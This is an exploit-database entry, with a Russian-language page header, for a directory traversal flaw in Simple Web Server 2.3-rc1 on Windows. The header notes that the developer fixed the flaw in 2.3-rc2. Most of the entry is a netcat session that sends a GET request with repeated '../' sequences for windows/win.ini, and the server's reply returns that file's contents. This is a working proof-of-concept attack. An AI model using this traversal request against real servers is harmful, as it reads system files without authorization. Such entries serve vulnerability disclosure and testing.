Exploit Simple Web Server 2.3-rc1 - Directory Traversal

[Exploiter]

EDB-ID

23886

Проверка EDB

1. Пройдено

Автор

CWG GENIUS

Тип уязвимости

WEBAPPS

Платформа

WINDOWS

CVE

null

Дата публикации

2013-01-04

# Exploit Title: Simple Webserver 2.3-rc1 Directory Traversal
# Date: 01/02/2013
# Exploit Author: CwG GeNiuS
# Vendor Homepage: http://www.pmx.it
# Software Link: http://www.pmx.it/download/sws-2.3-rc1-i686.exe
# Version: 2.3-rc1 (and earlier)
# Tested on: Windows 7 Enterprise SP1
#
#Vulnerability: When removing the preceding "/" from a GET 
#			request the webserver allows directory 	
#			traversal.
#
#Fix: I have spoken with the developer who has now 
#	released 2.3-rc2 to correct the vulnerability



root@bt:~# nc -v 192.168.1.132 80
192.168.1.132: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.132] 80 (www) open
GET ../../../../../../../../windows/win.ini http/1.1

HTTP/1.1 400 Bad Request
Server: PMSoftware-SWS/2.3
Date: Wed, 02 Jan 2013 22:45:2 GMT
Connection: close

HTTP/1.1 200 Ok
Server: PMSoftware-SWS/2.3
Date: Wed, 02 Jan 2013 22:45:2 GMT
Accept-Ranges: bytes
Content-type: 
Content-Length: 403

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo